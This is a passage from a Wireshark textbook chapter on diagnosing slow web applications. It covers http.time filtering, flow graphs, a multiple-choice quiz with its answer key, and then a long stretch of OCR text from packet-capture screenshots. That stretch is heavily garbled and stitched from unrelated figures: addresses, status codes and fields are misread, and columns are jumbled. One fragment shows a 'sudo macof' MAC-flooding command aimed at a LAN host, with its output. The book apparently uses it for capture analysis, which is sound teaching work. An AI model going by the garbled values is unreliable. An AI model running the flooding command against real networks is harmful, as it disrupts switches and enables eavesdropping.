6. Analyzing high response times: Check the time it takes

for packets to travel between the client and server. Identify

any  delays  or  excessive  round-trip  times  that  might

contribute  to  the  slow  response.  You  can  use  Wireshark’s

statistics  tools,  such  as  IO  graphs,  TCP  stream  graphs,

service  response  time  graphs,  or  conversation  lists,  to

visualize and measure network latency and throughput. You

can  also  use  Wireshark’s  expert  information  feature  to

highlight  any  potential  problems  or  anomalies  in  the

network traffic.

7. Analyzing  retransmissions  or  lost  packets:  Look  for

retransmitted  packets  or  packets  marked  as  lost.  These

indicate  network  congestion,  packet  drops,  or  reliability

issues  impacting  application  performance.  You  can  use

Wireshark’s TCP analysis feature to detect retransmissions,

out-of-order  segments,  duplicate  acknowledgments,  zero

window  segments,  and  other  TCP  problems.  You  can  also

use Wireshark’s sequence number analysis feature to track

packet loss and reordering.

8. Analyzing  excessive  network  requests:  Identify  any

unnecessary  or  redundant  network  requests  that  might  be

causing  additional  load  and  slowing  down  the  application.

You  can  use  Wireshark’s  protocol  hierarchy  feature  to  see

how  much  traffic  each  protocol  generates  and  consumes.

You  can  also  use  Wireshark’s  follow  stream  feature  to  see

the  details  of  each  request  and  response  exchanged

between  the  client  and  server.  Look  for  repeated  requests,

large  payloads,  inefficient  headers,  or  other  factors  that

might increase network overhead.

9. Analyzing  protocol-specific  issues:   If    you    are

troubleshooting a specific protocol (for example, HTTP, DNS,

TCP),  analyze  the  protocol-specific  information  in  the

packets for any errors or performance-related problems. You

can  use  Wireshark’s  protocol  dissectors  feature  to  decode

and display each packet according to its protocol structure

and  semantics.  Moreover,  Wireshark’s  protocol-specific

statistics  tools,  such  as  HTTP  statistics,  DNS  statistics,  TCP

statistics,  etc.,  can  help  you  get  more  insights  into  each

protocol’s behavior and performance.

10. Filtering  and  drilling  down:  Use  Wireshark’s  filtering

capabilities to narrow down the captured packets and focus

on  the  relevant  traffic.  You  can  apply  filters  based  on

protocols,  source/destination  addresses,  ports,  or  other

packet attributes to isolate specific packets for analysis. You

can  also  use  Wireshark’s  color-coding  feature  to  highlight

packets based on certain criteria, such as errors, warnings,

or  custom  rules.  Wireshark’s  column  customization  feature

helps  display  additional  information  or  fields  in  the  packet

list view.

11. Collaborating  with  other  troubleshooting  methods:

While Wireshark is an excellent tool for network analysis, it

might  not  provide  a  complete  picture  of  the  performance

issue. Collaborate with other troubleshooting methods, such

as  monitoring  server  resources,  analyzing  application  logs,

or profiling code, to gain a comprehensive understanding of

the problem. You can also use Wireshark’s export feature to

export  the  captured  packets  or  selected  data  to  other

formats or tools for further analysis or reporting.

 

Using Packet captures to analyze web application

performance

Sometimes, web applications may experience slowness or poor performance, which can affect the user experience and satisfaction. A common misconception is that the network is always the culprit for such issues, but this is not necessarily true. In fact, this is a source of humor among information technology (IT) experts and programmers, who know that there are many other factors that can affect web application performance.

One of the tools that can help diagnose and troubleshoot web application performance problems is packet captures. Packet captures are recordings of the data packets that are exchanged between the web application and the server, which host the web application’s files and resources. Packet captures can reveal how much data is transferred, how fast it is transferred, and how long it takes for each packet to reach its destination. By analyzing packet captures, one can identify and demonstrate the actual cause of the web application slowness, such as server overload, inefficient code, or network congestion.

Packet captures such as Wireshark can provide valuable insights into web application performance and help improve it.

Finding slow application performance with HTTP flows

To fix a slow application, record the network data of the user’s session or your testing session. Then you want to see how the data is exchanged between the http client (for example, a web page request or an API call) and the server. You can do this with the Protocol Conversations tool under Analysis Tools if you have the IP addresses of the client and server.

Adding http.time to your capture view The http response time is how long it takes for an http request to be sent and for an http response to be sent back. This is measured accurately when the packets are decoded, and this value is saved in a field called http.time in the http response

packet, as illustrated in Figure 12.14:
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Figure 12.14: http.time in the http response packet

Digging deeper

When we talk about digging deeper, we refer to the investigation and analysis of a specific issue or problem to gain a more comprehensive understanding of its underlying causes and potential solutions. Here, we are discussing the investigation of large HTTP response times in a web application.

Large response times can be attributed to network delays, but in the case of a web app, it is more likely that the application itself is taking a considerable amount of time to process the requests it receives. To identify the exact cause of the problem, we need to delve deeper into the data.

To begin our investigation, we focus on a notable spike in the average response time. By examining the average response time at that particular point in time, we can estimate a suitable threshold to identify outlier responses. In this case, let us select 6 seconds as the threshold, as it roughly represents the midpoint of the spike.

Once we have determined the threshold, we can create a filter using Wireshark, to identify those responses that took longer than 6 seconds to process. The filter, in this case, would be

"http.time > 6", as demonstrated in Figure 12.15:
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Figure 12.15: Filtered packets for http.time > 6

By applying this filter, we can pinpoint specific GET requests that experienced exceptionally long response times. This information can be shared with the engineers responsible for the web app, enabling them to investigate and potentially resolve any underlying issues. Additionally, a flow graph view of the entire problem can be provided to give a visual representation of the

issue and aid in understanding its scope, as shown in Figure

12.16:
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Figure 12.16: Flow graph view

However, it is crucial to note that Wireshark primarily captures network-level data, which is most effective in identifying network-related issues that impact application performance. It may not directly reveal issues related to the application's code, database performance, or server performance. Therefore, it is essential to complement Wireshark's analysis with other problem-solving techniques to obtain a comprehensive understanding of the problem and find appropriate solutions.

 

Addressing challenges in the troubleshooting

process using Wireshark Here are some challenges in the troubleshooting process using Wireshark:

Precise  fault  localization  in  complex  network architectures:  Identifying  specific  points  of  failure  within intricate  network  infrastructures,  leveraging  Wireshark data  analysis  to  diagnose  connectivity  gaps  and  restore uninterrupted communication effectively.

Deciphering  application-specific  issues  in  Wireshark captures:  Analyzing  Wireshark  data  to  decode  problems specific  to  applications,  differentiating  between  network anomalies and application bugs. Ensuring accurate problem isolation to facilitate prompt and precise resolutions.

Analyzing    massive    datasets    and    extracting performance metrics: Handling substantial datasets from Wireshark  captures,  extracting  essential  performance metrics,  and  interpreting  data  patterns  to  pinpoint bottlenecks.  Optimizing  network  resources  to  enhance efficiency based on data-driven insights.

Understanding  intricate  TCP  protocol  behaviors: Delving  into  complex  TCP  protocol  behaviors  captured  by Wireshark,  addressing  issues  like  packet  loss,  out-of-order delivery,  and  retransmissions.  Ensuring  seamless  data transmission  by  resolving  protocol  intricacies  for  smooth communication.

Identifying  the  root  cause  of  sluggish  application response:  Unraveling  the  underlying  cause  of  slow application responses using Wireshark data, differentiating between  network  latency  and  delays  attributed  to applications.  Implementing  targeted  fixes  promptly  to enhance user experience and application responsiveness.

 

Conclusion

In this chapter, you have acquired the knowledge and skills to effectively utilize Wireshark for troubleshooting and analyzing network performance. The chapter covered a range of topics, including the application of basic troubleshooting methodologies to identify and resolve network problems. You learned how to address connectivity issues, such as conflicts with IP addresses, DNS failures, and firewall blocks. Additionally, you gained proficiency in troubleshooting functional problems like incorrect protocol configurations, malformed packets, and application errors.

Furthermore, you were introduced to the performance analysis methodology, enabling you to measure and optimize network performance. This involved troubleshooting TCP protocol issues such as connection establishment, flow control, and congestion control. Additionally, you learned how to address slow application response times, which can result from high network latency, low network throughput, or high server utilization.

Throughout the chapter, you explored the various features offered by Wireshark, including filters, color codes, statistics, graphs, and expert information. By utilizing these features, you obtain a deeper understanding of how network protocols and applications function and communicate within a network environment.

Wireshark, being a versatile and powerful tool, offers a range of benefits for diagnosing network problems and optimizing network performance. It enables you to monitor network activity, troubleshoot network issues, and analyze network performance effectively. Moreover, it serves as an invaluable resource for learning about network protocols and applications. We hope that this chapter has provided you with the necessary skills and confidence to employ Wireshark proficiently in your network environment.

 

Questions

1. What  is  the  first  step  in  the  troubleshooting

methodology?

a) Defining the problem

b) Gathering information

c) Analyzing information

d) Implementing a solution

2. What  is  the  command  to  get  the  workstation  IP

configuration on Windows?

a) ipconfig

b) ifconfig

c) netstat

d) ping

3. What  is  the  command  to  get  the  network  service  IP

addresses on Linux?

a) nslookup

b) dig

c) host

d) all of the above

4. What  is  the  tool  to  capture  network  data  on

Wireshark?

a) Capture filter

b) Display filter

c) Protocol analyzer

d) Packet sniffer

5. What is the tool to filter network data on Wireshark?

a) Capture filter

b) Display filter

c) Protocol analyzer

d) Packet sniffer

6. What  protocol  is  used  to  resolve  hostnames  to  IP

addresses?

a) ARP

b) DHCP

c) DNS

d) TCP

7. What  is  the  protocol  that  is  used  to  assign  IP

addresses to hosts dynamically?

a) ARP

b) DHCP

c) DNS

d) TCP

8. What is the protocol that is used to establish reliable

connections between hosts?

a) ARP

b) DHCP

c) DNS

d) TCP

9. What is the field in the TCP header that indicates the

sequence number of the data?

a) Source port

b) Destination port

c) Sequence number

d) Acknowledgment number

10. What  is  the  field  in  the  HTTP  response  packet  that

indicates the response time?

a) Content-Length

b) Content-Type

c) http.time

d) http.status_code

Answers

1. a

2. a

3. d

4. d

5. b

6. c

7. b

8. d

9. c

10. c
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7 0.000583 192.165.0.254 192.165.0.254 T 66 3306 - 56162 [ACK] Seq=57 Ack=67 Win=32765 Len=0 TSval=15785614 TSecr=15785614
5 0.000695 192.165.0.254 192.165.0.254 mysQL 77 Response 0K
9 0.000893 192.165.0.254 192.165.0.254 MysQL 103 Request Query

10 0.001051 192.165.0.254 192.165.0.254 MysQL 162 Response TABULAR Response

11 0.040792 192.165.0.254 192.165.0.254 T 66 56162 - 3306 [ACK] Seq=104 Ack=164 kir

12 5.698832 192.165.0.254 192.165.0.254 mysQL 3 Request Query.

13 5.699011 192.165.0.254 192.165.0.254 MysQL 130 Response TABULAR Response

14 5.699035 192.165.0.254 192.165.0.254 T 66 56162 - 3306 [ACK] Seq=126 Ack=228 Wir

15 5.699226 192.165.0.254 192.165.0.254 mysQL 75 Request Use Database

16 5.699324 192.165.0.254 192.165.0.254 mysQL 77 Response 0K

Reauest 01
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Ethernet II, Src: 00:00:00_00:00:00 (00: :00:00), Dst: 00:
Internet Protocol Version 4, Src: 192.168.0.254, Dst: 192.168.0.254

Transmission Control Protocol, Src Port: 3306, Dst Port: 56162, Seq: 1, Ad
HySQL Protacol
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1o.000000  10.0.1.4 198.41.30.281 MOTT 105 Connect Command -
20.235652  195.41.30.241 10.0.1.4 morT 70 Connect Ack
30.23615  10.0.1.4 198.41.30.281 morT 84 Subscribe Request (id=1) [SampleTopic]
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DUP Flag: Not set

QoS Level: At least once delivery (Acknowledged deliver) (1)

Reserved: o

9b (24:a2:e1:e6:e0:9b)

5, Len: 18

Message Identifier: 1
Topic Length: 11

[opic: SampleTopic

Requested Qos: At most once delivery (Fire and Forget) (0)
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The following packages will be upgraded:
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ibce-dev 1ibc6-i386 libicu-dev libgtScoresa libgtsdbuss
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ibgtspositionings Libgtsprintsupports Libgtsqmls libgtsqmlmodelss
ibgtsquicks Libgtssensorss Libqtssqls Libgt5sqls-sqlite libqtssvgs
libgtstests libqtswebchannels libqtswebkits Libgtswidgetss Libgtsxmls
ibsbcl Llibspeexdspl libwireshark-data Libx11-6 libxli-data libx11-xchbl
ibxcb-damaged Libxcb-dri2-0 Libxcb-dri3-0 libxcb-glxd Libxcb-presentd
ibxcb-randro Libxch-renderd libxcb-shapeo Libxcb-shmd 1ibxcb-syncl
Uibxcb-x[ixeso libxch-xinerama0 libxcb-xinputo libxcb-xkbl Libxcbl
Tocales pyqt5-dev-tools python3-pyqts python3-pyqts.qtopengl
qts-gtk-platformtheme qt5ct qtbase5-dev-tools tshark wireshark-common

59 upgraded, 13 newly installed, 0 to remove and 1514 not upgraded.

Need to get 93.0 MB of archives.

After this operation, 164 MB of additional disk space will be used.

Do you want to continue? [¥/n] I
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StarTeam =/ 12 smission Control Protocol

Steam IHS Dis
sTP I Show TCP summary in protocol tree
STT
STUN Validate the TCP checksum if possible
23* V! Allow subdissector to reassemble TCP streams.
SYNC Reassemble out-of-order segments
SYNCHROPH | ) Analyze TCP sequence numbers
Synergy
Syslog VI Relative sequence numbers (Requires "Analyze TCP sequence numbers")
.38
TACACS Scaling factor to use when not available from capture | Not known
lﬁfl““* . Track number of bytes in flight
TAPA V! Calculate conversation timestamps
TCAP
Try heuristic sub-dissectors first
TCPENCAP Ignore TCP Timestamps in summary
TCPROS

TDMoE V' Do not call subdissectors for error packets
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M “Intel®) Centrino(®) Adv

™

File Edit

ERes

ETL=

| Qi

Tools

Help

Tme Source Destraton Protocol _Length Info ~
163.713009  192.165.1.2 13.107.136.5 TP 1354 54996 + 443 [ACK] Seq=1 Ack=1 Win=512
17 3.713009  192.168.1.2 13.107.136.8 TLSvi.2 505 Application Data
153.713%0  192.165.1.2 13.107.136.5 TLSv.2 305 Application Data
233.75002 192.165.1.2 13.107.136.5 TP 5454996 - 443 [ACK] Seq=2003 Ack=1861 Wi
24 3.884065  192.165.1.2 13.107.136.8 TP 1354 54983 » 443 [ACK] Seqel Ack=1 Win=512
25 3.584065  192.168.1.2 13.107.136.8 TLSv1.2 505 Application Data o
> Frame 16: 1354 bytes on wire (10832 bits), 1354 bytes captured (16][ 0000 5c 79 fd 74 dé 00 80 00 Ob 27 96 35 08 00 45 A
> Ethernet T1, Src: IntelCor_2f:96:35 (80:00: 96:35), Dst: Taic|| 9910 05 3c OF 59 40 00 80 @6 Bf 45 c0 28 01 62 0d
> Internet Protocol Version 4, Src: 192.168.1.2, Dst: 13.107.136.8 || 2920 88 08 2: ": ks :'.’ ’;; :: : 2 :; * g: :i »
9030 02 00 b et
> Transmission Control Protocol, Src Port: 54996, Dst Port: 443, Seql| 000 52 90 T2 ¢ 9.8 77 .05 92 06 42 90 40 &0 %0
0050 SF 09 7c 70 12 d1 78 <1 3e 9d 6179 31 15 1b
9050 3e <7 fb 1a 29 96 1b 23 59 d5 7b 50 cb 57 1d
9070 59 €6 bc 72 00 4a 44 Ge dl da c4 c4 29 a5 5F v

>
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GET /icons/debian/openlogo-25.3p8 HTTP/1.1
Host: localhost

User-Agent: Mozilla/s.0 (XIL; Uj Linux i686; frs rviL.s
Accept: inage/png,*/*iq=0.5

Accept-Language: fr, fr-friqe0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate

Accept-Charset: 150-8359-1,utf-
Keep-alive: 300

Connection: keep-alive
Referer: https://localhost/

) Gecko/20060308 Firefox/1.5.

9=0.7,%39=0.7

HTTP/1.1 484 Not Found
Date: Hon, 26 Apr 2006 09:04:18 GHT

Server: Apache/2.0.55 (Debian) mod_ss1/2.0.55 OpenssL/e.9.8a
Content-Length: 225

Keep-Alive: timeout=15, max=100

Connection: Keep-Alive

Content-Type: text/htal; charsetiso-8859-1

<IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<htal>chead>

<title>d0s Not Found</title>

</head><body>

<hi>Not Found</h1>

<p>The requested URL /icons/debian/openlogo-25. jpg was not found on this server.</p>
</body></html>
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M Vireshark . Capture Options

Iout | Output  Options.

Interace

7] WAN Miniport (Network sl Area Connection* 10
‘WAN Miiport (Pve): Local Area Connection" 9
‘WAN Miniport (P): Loca Area Connection" 8
IntelR) Centrino(R) Advanced-N 6235 WirFi
Microsoft Wi FiDiect..ocalArea Connection* 2
Microsoft Wi-FiDiect..ocal Area Connection” 1
Adapterforloopack traffic copture
Inte(R) 2579LM Gigabi.rk Connection: Ethemet

Taffic  Link-layer Header Promiscuous Snaplen (8) Bufer (MB) Monitor Mode Capture Fiter

Ethemet
Ethemet
L ethemet
i, Ethemet
Ethemet
Ethemet
—anMarrd BSD lospback
Ethemet

[slfislissfisli)s

default
default
defoult
default
default
default
default
defoult

(] Enabe promiscuous mode on allinterfaces

‘Capture fiter for selected ntefaces: [ [Enter o cature fiter
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lc:\Program Files\Wiresharkowireshark -1 Wi-Fi
lc:\Program Files\Wireshark>

** (wireshark:84548) 15:44:48.454393 [Capture MESSAGE] -- Capture Start ...

** (wireshark:84548) 15:44:48.679591 [Capture MESSAGE] -- Capture started

** (wireshark:84548) 15:44:48.682456 [Capture MESSAGE] -- File: "C:\Users\DUCARA~1\AppData\Local\Temp\wireshark_Wi-Fif
43Y1. pcapng”

** (wireshark:84548) 15:45:01.159508 [Capture MESSAGE] -- Capture Stop ...

=+ (wireshark:84548) 15:45:01.382173 [Capture MESSAGE] -- Capture stopped.
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1 0.000000 10.0.1.4 198.41.30.241
198.41.30.241 10.0.1.4

rTT
g
195.41.30.241 10.0.1.4 QT 71 Subscribe Ack (id=1)
195.41.30.241 10.0.1.4 MQTT 116 Publish Message [SampleTopic]
10.0.1.4 195.41.30.241 mTT 68 Ping Request

195.41.30.241 10.0.1.4 mTT 68 Ping Response

10.0.1.4 195.41.30.241 HOTT 105 Connect Command

10 6.372862 198.41.30.241 10.0.1.4 HoTT 70 Connect Ack.

» Frame 3: 84 bytes on wire (672 bits), 84 bytes captured (672 bits)
b Ethernet II, Src: Apple 21:14:8f (28:cf: ), Dst: Apple_c!
b Internet Protocol Version 4, Src: 10.0.1.4, Dst: 198.41.30.241
b
b

Transmission Control Protocol, Src Port: 49327, Dst Port: 1883, Seq: 40, Ack: 5, Len: 18
1Q Telemetry Transport Protocol, Subscribe Request
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Ble Edt View Go Captue Andlyze Statistics Telephony Wireless Tools Help
Am e =NRR AOOODC BE0T

No.  Tme Destnaton protocol_Length Info
91 18927962179 e a2 w0 has 152 168591067 el 19215859 201
92 18.927998148 oo 44 192.208.50.186 s at d0:03:53:aaid1iad
52 3. 7604426 e 42un has 193 16050188 Tell 193.158.59.201
353 43. 700558575 I
521 10,642623485 e

+ Frame 520: 44 bytes on wire (357 bits), &4 byres captured (352 bita) on interface any, id 0
 Linux cooked capture vi
© Addresa Resolution Protocol (request)
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secure encrypted commnications
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insecure network.

Hame Descpton
@Offce SourceEngine Saves nstalltin e uedfor ..
G, Offine Files “The Offline Files senvice perform...
5, OpenSSH Authenticaion A Agent to hold private keys used ..
L OpenSSH S5H Sever SSH protusol beved serviee W .
) pimizedrves Helps the computer rn mere ..
Parental Controls Enforces parental controls forc...

G Payments and NFC/SE Man... Manages payments and Near Fi..

Status

Starup Type.
Manus!
Manual (Tig...
Disabied
Manual
Manual
Manual
Manual (Fig...

LogOnas ~
LocaiSytem
Local System
Loca System
LocalSystem
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FEile Edt View Go Capture Anabyze Statistics Telephony Wireless Jools Help

Adm e =TRBeoOoudCc I EamaT

i B0+
o Tme Source Destination Protocol_Lengtn ino 2
17 550465654 10216550 1095711435 170 TUSvT.2 11 Ajpication bata
102.050700507  52.114.30.10 192.200.59. 180 TLSvi.z 103 Application Data
102 asas28068  102.168,50 .18 52.114.36.178 o 56 42701 — 463 [ACK] Seq=50 Ack=48 Win=63 Ler=0
2021174750471 52.111.252.0 192.168.59.180 TLSi2 129 Application Bata

210174332630 _102.108.59 185 52.111.352.0 Tcp 68 50452 433 [ACK] S0q-1 ACK=52 Win=63 L
_220.meaussni i TCP___ 9656516 6979 [SN] Seq=0 Vin=65476 Len=0 NSSS65476 SACKPERNS T

Frame 17: 116 bycea on wire (912 bics), 114 byces captured (312 bits) on interface any, 1d
Linux cosked capture v

Intornet Protocol Version 4, Src: 192.168.50.186, Dst: 52.114.36.176

Transnission Control Protocel, Src Part: 4271, Dst Port: 483, Sea: 1, Ack: 1, Len: 58

Transport Layer Security
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File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

am 20 IBREBRe>=F 85 aqan
No. Tme  Source Destination Protocol  Length Info ~
426 0.358004 192.163.1.23 192.165.1.5 Tcp 66 50440 > 50 [SYN] Seq=1421005653 Win=64240 Len=0 MSS=1460 WS=256 SACK_PERM

! 54 80 > 5044 , AC Ack=1421685684 Win=6 L
| 66 50441 - 50 [SYN] Seq-886710399 Win-564240 Len-0 MSS=1450

> Frame 427: 54 bytes on wire (432 bits), 54 bytes captured (432 bits) on interface \Device\NPF_{85524D84-ECE7-4]
> Ethernet IL, Src: TP-Link_dg:16:b4 (30:de:ab:de:16:ba), Dst: IntelCor 23:86:6a (c4:d9:87:23:86:6a)
~ Internet Protocol Version 4, Src: 192.165.1.5, Dst: 192.165.1.23
106 ... = Version: 4
- 0101 = Header Length: 20 bytes (5)
> Differentiated Services Field: 0x00 (DSCP: (S0, ECH: Not-ECT)
Total Length: 30
Identification: 0x0000 (0)
> @10, ... = Flags: ex2, Don't fragment
© 0000 0000 0000 = Fragnent OFfset: 0
Tine to Live: 64
Protocol: TCP (6)
Header Checksum: @xb763 [validation disabled]
[Header checksum status: Unverified]
Source Address: 192.165.1.5
Destination Address: 192.168.1.23
v Transmission Control Protocol, Src Port: 89, Dst Port: 56449, Seq: O, Ack: 1421085684, Len: @ |
Source Port: 80
Destination Port: 50430
[Stream index: 18]
[Conversation completeness: Incomplete (37)]
[TCP Segnent Len: 0]
Sequence Number: 0
[Next Sequence Number: 0]
Acknowledgrent Number: 1421005654
@161 ... = Header Length: 20 bytes (5)

<4 d9 57 23 86 6a 30 de 4b do 16
00 25 00 00 40 00 40 06 b7 63
01 17 00 50 c5 05 00 00 00 00
00 00 3 c4 00 00

@
54

Window: ©
[Calculated window size: 0]
[Window size scaling factor: -1 (unknown)]
Checksum: @x3eed [unverified]
[Checksum Status: Unverified]
Urgent Pointer: @

> [Timestamps]

> [SEQ/ACK analysis]
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G5 5700 . 30 (K] Seq34 A3 L6532 Lend TEWILAISTINGE TEcer 3005572

0 06~ 5700 k] seq273 Ack 34 i G260 Len Towl 12033507 Tese 1IN |
T Fraee 3 58 Byt on wire (35 51, 8 byt oprored (34 516) on Drterace am, 140 || XMW B s Ge i @i

 Lin coted caprre 1 G ERRunRLE NRRUNANY Juy

EETEEEEEEEEELTE:

Interne orotceol ersion , Seet 44.28.260.5, dsts 192.168.138.25 S mm e Wi s "

Tramnission Gonral protscl, 5w Pirts 39, O Forts 5708, s 1, Ak 3, Len = R
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e Eat View Go Copture Amiyze St Telephony Wireless Toots Help
Am@e =R aooodc=Eaaar
e = )+ |

N, Time Source Destination Protocol_Length Info
10.000000  200.57.7.195 200.57.7.264 SIP/SOP 740 Request: INVITE sip: franciscodbestel con 5590 |
2olcorass  200.57.7.208 200.57.7.295 1P 503 Status: 100 Trying |
Solaszs  700.57.7.204 200.57.7.195 st 504 Status: 180 Ringing |

152405063 209.57.7 200.57.7.195 s 160 Request: REGISTER Sip:Verso.con (1 binding) |
153 al072335  209.57.7.295 200.57.7.205 s 514 Status: 290 OK (REGISTER) (1 binding) |

on0.477oes  200.57.7.204 200.57.7.195 SIP/SOP 830 Status: 290 Ok (IWVITE) |
490 8470371 57.7.28 300.57.7.29 214 PZITU-T G.711 POMA, SSRC-GXOZDAESE, Seq1, Time=io, Mark
ol 57.7.28 209.57.7.296 214 PIZITUT G.711 POMA, SSRC-GXOZBDAESE, Seq=2, Time=320
asmis1 57.7.204 57.7.196 126 Sender Report  Receiver Report
e 200.57.7.19 200.57.7.29 120 Sender Report Receiver Report
si7a1s  200.57.7.204 200.57.7.190 214 PZITU-T G.711 POA, SSRC=GHOZBDAESE, Seq=3, Time=180
s217  200.57.7.195 200.57.7.204 185 Request: ACK sip: franciscof2e0.57.7.504:5061 |

Frame 2961: 742 bytes on wire (5930 bits), 742 bytes captured (5936 bits)
Ethernet 11, Src: Oracle_54:63:3e (00:03:ba:94:63:3¢), Dst: 00:00:00_60:0d:19 (49:00:00:60:d0:19)
Tnternet Protocal Veraion 4, Src: 200.57.7.195, Dst: 209.57.7.204

o, 'Src port: 5668, Dst port: 5ee1
Session Initiation rotocol (IWITE)
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GET /icons/debian/openlogo-25. jpg HTTP/1.1
Host: localhost

User-Agent: Mozilla/s.0 (Xi1;
Accept: inage/png,*/*3q=0.5
Accept-Language: frfr-fr;qe0.8, en-u
Accept-Encoding: gzip,deflate
Accept-Charset: 150-8359-1,utf-8;q=0.
Keep-alive: 300

Connection: keep-alive

Referer: https://localhost/

Linux 1686; fr; rvil.

2) Gecko/20060308 Firefox/1.5.

1=0.5,€13q=0.3

q=0.7

HTTP/1.1 404 Not Found
Date: Hon, 24 Apr 2006 09:04:18 GHT
Server: Apache/2.0.55 (Debian) mod_ss1/2.
Content-Length: 226

Keep-Alive: timeout=15, max=100
Connection: Keep-Alive

Content-Type: text/htal; charseteiso-8859-1

<1DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.8//EN">
<htal><head>

<title>48s Not Found</title>

</head><body>

<hi>Not Found</h1>

<p>The requested URL /icons/debian/openlogo-25.jpg was not found on this server.</p>
</body></htal>
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. Tme Source Destraton Protocol  Length Info ~
5511307867568 192.165.1.2 212.202.33.35  sTP 382 Request: ACK s1p:0097239287044gsip. cybercity.dk |
555 1324.813918  192.165.1.2 222023335 SIP 721 Request: REGISTER sip:sip.cybercity.dk (1 binding) |
5781359023578  192.168.1.2 212.242.33.35  SIP/SOP 1118 Request: INVITE 5ip:0097239287044@sip. cybercity.dk |
5821359221268 192.165.1.2 212.202.33.35  sTP 377 Request: 0097239237044gs 1p. cybercity.dk |
602 1425608602  192.165.1.2 212.262.33.35  SIP/SDP 856 Request: INVITE sip:35104724gsip. cybercity. dk |
604 1425767120 192.163.1.2 222423335 SIP 371 Request: 5104724@s1p. cybercity.dk |
617 1443024176 192.165.1.2 212.242.33.35  SIP/SOP 1107 Request: IWVITE sip:35104724gsip. cybercity.dk |
6221443513778 192.165.1.2 212.202.33.35  STP 366 Request: 1p:35104726@s1p. cybercity.dk |
639 1460423917 192.165.1.2 222023335 SIP 506 Request: REGISTER sip:sip.cybercity.dk (1 binding) |
645 1477.854004  192.168.1.2 212.202.33.35 ST 719 Request. ip.cybercity.dk (1 binding) |
| 6201408500099  192.165.1.2 212.202.33.36  RTP 214 PT-TTU-T G.711 PCHA, SSRC-0X3796CB71, 5eq=28599, Tine-120
| 625 14aa.579065  192.165.1.2 2122023336 RTP 214 PT-ITU-T G.711 PCMA, SSRC-0X3796CB71, Seq=28591, Tine-1400
| 626 14s4582579  192.168.1.2 222423336 RTP 214 PT-ITU-T G.711 PCHA, SSRC-0X3796CB71, Seq=28592, Time=1560
| 627 14aa.5852¢5  192.168.1.2 212.202.33.3  RTP 214 PT=ITU-T G.711 PCMA, SSRC=X3796CB71, Seq-28593, Time=1720
| e2slaasssens2  192.165.1.2 212.202.33.36  RTP 214 PT=ITU-T G.711 PCHA, SSRC=0X3796CE71, Seq=28594,

| 6201424.625065  192.168.1.2 212.242.33.35_RTP. 214 PT=ITU-T G.711 PCMA, SSRC=x3796CB71, Seq=28595, Time=2040
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[Eile Edit View Go Capturs Analyze Statistics Telephony Wireless Tools Help
Am @ E[XRE QA00VdEC Be2aT

Dectination Protocal_Lengih Info
il o2 uho

57 4.050704300

767 518570338 TP-Link_do: e 44 W0 has 152.168.1.357 Tell 192 /108,10
818129519611  TascangT 74:d4:00 e 620 has 192/168.1.52 TelL 192.168.1.1
82 0.120555560 TP Link do:16:b4 P 41 192.265.1.5 5o at 30:dorabidoi16:bi.
838134305300 TP-Link do:16:12 e 168.1.357 Tell 192.168.1.6
95 8100740104 Tl ink_do: 16:ha e 1681119 Te11 1818818
o6 Dsorznaszn  Taicangi 401100 e 1 102. 1 Lo at 5o1£0ifdi71:d1:00

120 11512370309

i 44 o has 102.168.1.357 Tell 102.168.1.6
e ey 108.1,507 Tell 162,00.1.0

122 12.120873004 e priviy 10811357 Tell 292,308,110
125 13.150671604 e prieey

128 13. 238022703 e 6240 has

129 13, 230664421 e 44 192,260,

220 18. 258334577 e 62 o has 162.168.1.52 Tell 192.168.1.1

221 18258375080 s 46 192.260.1.5 &0 at ab:d0: 26004

234 19.601999054 o 44 Who has 262.166.1.957 Tell 192.169.1.6

226 20.039430920 e 44 o 200.130.1427 Tell 492.460.420.26

257 20.039504551 e 44 192,200,130 142 is 4 bz:da:df a2 05:3e

213 2031432062 _1p-vink gias:Ts e 40w has 2v2.168.1.457 tell 292.308.1.0 g
+ [Erane 17: 44 bytes on wire (352 bits), 44 bytes captured (352 bits) on interface any, 1d © 550 00 04 00 61 80
} Linux cooked captors vi 0810 00 01 68 00 66

" Address Resolution Protacol (reply) ooz0 QN 5 10 td
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No Interface Selected.

No Packets.

Profile: Default
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parrot]=[~]
sudo macof -5 192.168.1.5 -d 192.168.1.8 -n 200 -i wlx30dedbd016b4

fd:73:8b:4c:49:57 93:4c:8:28:84:1 192.168.1.5.6468 > 192.168.1.8.4276: S 113622

6096: 1138226096 (0) win 512

2a:c1:a4:3:cc:ef dd:ee:c2:68:f:ch 192.168.1.5.55697 > 192.168.1.8.43576: S 1342

40931:1342046931(0) win 512

28:3a:b3:2:5: 1a 71:d0:24:13:€1:64 192.168.1.5.15666 > 192.168.1.8.62199: S 662
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4502 : 858454502 (8) win 512

9:de:a8 192.168.1.5.30883 > 192.168.1.8.3160: S 202
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20150061 10.2.4.201 NBNS 110 Registration NS UORKGROP<s0>
201566601 19.2.4,201 NENS 110 Rogistration N HARTIN-WIN-PG<00~
030208 10.2.4.200 NBNS 110 Registration NB MARTIN-WIN-PC<06>
2360708 1604101 NRNS 110 Ragisrration N UDRKGAOUP<aA>
2320209 10241200 NONS 110 Registration NG MARTIN-WIN-PC<20> i
Ethornet 11, Src: Hewlottp 69:53:5a (00:01:06:60:53:5a), Dst: Netgear_bo:93:f1 (20:63:7a:86:93:f1) -

Intornet Protocol Version 4, Sro: 10.2.4.101, Dst: 10.2.4.1
user Datagran Protocol, Sre Port: 137, Dst Port: 197
NeLBI0S Name Service
Transaction 10: oxeson
+ Flags: 02900, Opcode: Registration, Recursion desired
Questions: 1
Answer RRs: 0
Authority #Rs: o
Addirionn1 Ras: 1
+ queries
* Additional records
- WARTIN-MIN-PC<00>: type ND, class In

Iype: N6 (32)
Class: v (1)
Tine to live: 3 days, 11 hours, 20 minutes
Data Length: 6

. ame flags: 016090, ONT: Unknoun (H-node, uniaue)

5050 00 01 00 04 93 0 00 66 60 00 FTNCAINE mr 2
© 7 Addr(nbns.addr), 4 bytes Packets: 108 - Displayed: 27 (25.0%) Profile: Default
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M Wireshark - VoIP Calls - sip.pcap

Protocol Duration Packets State

o x

Comments.
INCALL  INVITE 200

Start Time  Stop Time  Initial Speaker

0000000 8524137  200.57.7.195
24665953 24.692752 200.57.7.195

From T
{<5ip:300,57.7.195:5506 ;user=phone>. 1 *francisco@bestel.com"” <siprancisco@bestel.com:55060> SIP.
